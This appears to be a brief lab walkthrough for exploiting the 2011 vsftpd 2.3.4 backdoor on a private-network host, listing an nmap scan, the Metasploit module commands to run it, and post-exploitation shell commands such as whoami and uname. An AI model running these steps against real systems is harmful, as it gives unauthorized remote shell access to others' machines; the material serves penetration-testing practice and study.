VSFTPD v2.3.4 Backdoor

Attack FTP Service – This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

db_nmap 172.16.74.129 -sC -A -vvv

vsftpd 2.3.4

First open metasploit and search for the vulnerable service vsftpd 2.3.4

search vsftpd

search 73573

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 172.16.74.129

run

Invoke Bash Shell

> shell

> bash

> whoami

> uname -a

> ip a | grep inet4

References

• OSVDB-73573

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